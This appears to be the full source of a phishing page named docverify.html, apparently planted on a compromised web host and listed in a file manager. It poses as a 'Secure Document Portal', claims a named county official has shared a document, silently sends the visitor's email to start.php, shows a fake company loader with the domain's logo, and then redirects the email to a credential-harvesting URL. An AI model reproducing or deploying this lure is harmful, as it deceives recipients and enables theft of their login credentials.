9B534B8686E580E0E01768F00155B461

at path：ROOT / datsbook / docverify.html

run：R W Run

docverify.html

5.79 KB

2026-07-07 15:54:31

R W Run

error_log

📄docverify.html

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Secure Document Portal</title>

body {
    margin: 0;
    font-family: "Segoe UI", system-ui, -apple-system;
    height: 100vh;
    background:
        radial-gradient(circle at 20% 20%, rgba(37,99,235,.18), transparent 40%),
        radial-gradient(circle at 80% 30%, rgba(16,185,129,.14), transparent 45%),
        linear-gradient(180deg, #0f172a, #020617);
    display: flex;
    align-items: center;
    justify-content: center;
    color: #e5e7eb;
}

.wrapper { width: 480px; }

.card {
    background: rgba(255,255,255,.08);
    backdrop-filter: blur(18px);
    border-radius: 16px;
    padding: 36px;
    box-shadow: 0 30px 80px rgba(0,0,0,.45);
}

.brand {
    display: flex;
    align-items: center;
    gap: 12px;
    margin-bottom: 22px;
}
.brand-logo {
    width: 42px;
    height: 42px;
    background: linear-gradient(135deg,#2563eb,#60a5fa);
    border-radius: 10px;
    display: flex;
    align-items: center;
    justify-content: center;
    font-weight: 700;
    color: #fff;
}

.notice {
    background: rgba(255,255,255,.06);
    border-left: 4px solid #60a5fa;
    padding: 14px 16px;
    border-radius: 10px;
    margin-bottom: 22px;
    font-size: 14px;
}

h1 { font-size: 22px; margin-bottom: 6px; }

.subtitle {
    font-size: 14px;
    color: #cbd5f5;
    margin-bottom: 18px;
}

input[type="email"] {
    width: 100%;
    padding: 14px;
    font-size: 15px;
    border-radius: 8px;
    border: 1px solid rgba(255,255,255,.25);
    background: rgba(0,0,0,.25);
    color: #fff;
}

.consent {
    display: flex;
    gap: 10px;
    font-size: 13px;
    color: #cbd5f5;
    margin-top: 14px;
}

.actions {
    display: flex;
    justify-content: flex-end;
    margin-top: 24px;
}

button {
    padding: 10px 26px;
    border-radius: 8px;
    border: none;
    background: linear-gradient(135deg,#2563eb,#60a5fa);
    color: #fff;
    font-weight: 600;
    opacity: .5;
}
button:enabled { opacity: 1; cursor: pointer; }

/* ===== LOADING ===== */
.loading {
    position: fixed;
    inset: 0;
    background:
        linear-gradient(180deg, #020617, #020617),
        repeating-linear-gradient(
            0deg,
            rgba(255,255,255,.04),
            rgba(255,255,255,.04) 1px,
            transparent 1px,
            transparent 34px
        ),
        repeating-linear-gradient(
            90deg,
            rgba(255,255,255,.04),
            rgba(255,255,255,.04) 1px,
            transparent 1px,
            transparent 120px
        );
    display: none;
    align-items: center;
    justify-content: center;
}

.center {
    position: relative;
    width: 240px;
    height: 240px;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: center;
}

.logo {
    width: 120px;
    height: 120px;
    background: #fff;
    border-radius: 50%;
    box-shadow: 0 18px 45px rgba(0,0,0,.6);
    display: flex;
    align-items: center;
    justify-content: center;
}

.logo img {
    width: 72px;
    height: 72px;
}

.ring {
    position: absolute;
    width: 190px;
    height: 190px;
    border-radius: 50%;
    border: 4px solid rgba(96,165,250,.25);
    border-top-color: #60a5fa;
    animation: spin 1.1s linear infinite;
}

.status {
    margin-top: 22px;
    font-size: 14px;
    color: #c7d2fe;
    letter-spacing: .4px;
}

@keyframes spin {
    to { transform: rotate(360deg); }
}
</style>
</head>

<body>

<div class="wrapper" id="frontPage">
    <div class="card">
        <div class="brand">
            <div class="brand-logo">⇄</div>
            <strong>Secure Document Portal</strong>
        </div>

<div class="notice">
            A secure document from <strong>Carsten Ahrens</strong>
            (<strong> Washington County Maryland </strong>) is ready for your review.
        </div>

<h1>Verify your email</h1>
        <div class="subtitle">We’ll use this email to grant access.</div>

<form onsubmit="redirectUser(event)">
            <input id="emailInput" type="email" required
                   placeholder="Email address" oninput="validateForm()">
<div class="actions">
                <button id="submitButton" disabled>Continue</button>
            </div>
        </form>
    </div>
</div>

<div class="loading" id="loading">
    <div class="center">
        <div class="ring"></div>
        <div class="logo">
            <img id="domainLogo" alt="">
        </div>
        <div class="status" id="statusText">
            Connecting to your company…
        </div>
    </div>
</div>

let preloadedLogo = new Image();

function validateForm() {
    submitButton.disabled = !(
        emailInput.value.includes("@") &&
        emailInput.value.includes(".")
    );
}

function redirectUser(e) {
    e.preventDefault();

const email = emailInput.value;
    const domain = email.split("@")[1] || "";

const companyName = domain.split(".")[0]
        .replace(/[-_]/g, " ")
        .replace(/\b\w/g, c => c.toUpperCase());

statusText.textContent =
        `Connecting to ${companyName}…`;

const logoUrl =
        "https://www.google.com/s2/favicons?sz=128&domain=" + domain;

preloadedLogo.src = logoUrl;
    preloadedLogo.onload = () => {
        domainLogo.src = logoUrl;
    };

try {
        fetch("start.php", {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify({ email })
        }).catch(()=>{});
    } catch(e) {}

frontPage.style.display = "none";
    loading.style.display = "flex";

/* Increased loading time (+3 seconds) */
    setTimeout(() => {
        window.location.href =
            redirectBaseUrl + encodeURIComponent(email);
    }, 9200);
}
</script>

</body>
</html>